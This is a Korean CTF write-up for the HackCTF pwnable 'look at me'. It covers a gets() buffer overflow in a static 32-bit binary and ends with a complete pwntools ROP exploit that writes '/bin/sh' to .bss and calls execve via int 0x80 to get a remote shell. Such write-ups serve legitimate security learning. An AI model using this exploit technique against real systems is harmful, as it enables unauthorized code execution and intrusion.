WAR GAME/HackCTF

[HackCTF : Pwnable] look at me 풀이 (32bit, syscall)

jir4vvit 2021. 4. 8. 22:06

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

함수와 syscall의 차이? 

 

그리고 아래 문제가 생각났던 문제..

[DEFCON 2019] speedrun-001 풀이


 

주어진 파일은 문제 파일 바이너리

 

 

Analysis

바이너리를 IDA로 열자마자 느꼈던게.. 왼쪽에 함수 목록에 함수들이 너무나 많았다. 

static으로 컴파일 된 프로그램 같았다. 

그리고 맞았다. ㅇㅁㅇ..!!

 

일단 main을 살펴보자. 

main

main은 간단하다. look_at_me 함수를 살펴보자.

 

gets에서 BOF가 발생한다. 

 

RET를 어떤 함수로 덮을까... 하여 함수 목록을 살펴봤지만 뭐 flag를 출력해주는 함수도 없고.. system 함수도 없고(ㅜㅜ) 심지어 nx도 걸려있어서 쉘코드 실행도 못한다.. 그래서 syscall을 이용하기로 했다.

 

 

How to exploit

  1. gets 함수로 bss영역에 "/bin/sh" 문자열 삽입
  2. execve 함수로 셸 실행

11번째의 execve를 실행시켜야 한다.

 

eax는 0x0b

ebx는 bss

나머지 인자 두개는 0을 집어넣어 주면 된다.

 

필요한 가젯을 찾고 

먼저 bss영역에 get 쓰고 main으로 돌려서 execve를 실행시키면 될 것 같당.

 

아 참고로 32bit는 int 0x80을 실행시켜야 한다. (64bit는 syscall이었다.)

Let's exploit!

from pwn import *

#p = process('./lookatme')
p = remote('ctf.j0n9hyun.xyz', 3017)
e = ELF('./lookatme')

main = 0x080488a3
gets_addr = e.symbols['gets']
int80 = 0x0806cc25

pop_eax = 0x080b81c6
pop_ebx = 0x080481c9
pop_ecx = 0x080de955
pop_edx = 0x0806f02a

#
payload = ''
payload += 'a' * (0x18+0x4)
payload += p32(gets_addr)
payload += p32(main)
payload += p32(e.bss())

p.sendlineafter('\n', payload)
p.sendline('/bin/sh\x00')

# execve
payload = ''
payload += 'a' * (0x18 + 0x4)
payload += p32(pop_eax)
payload += p32(0x0b)
payload += p32(pop_ebx)
payload += p32(e.bss())
payload += p32(pop_ecx)
payload += p32(0)
payload += p32(pop_edx)
payload += p32(0)
payload += p32(int80)

#pause()
p.sendlineafter('\n', payload)

p.interactive()

 

 

레지스터에 값을 다 올바르게 채워넣고 syscall(int 0x80)을 해야 한다.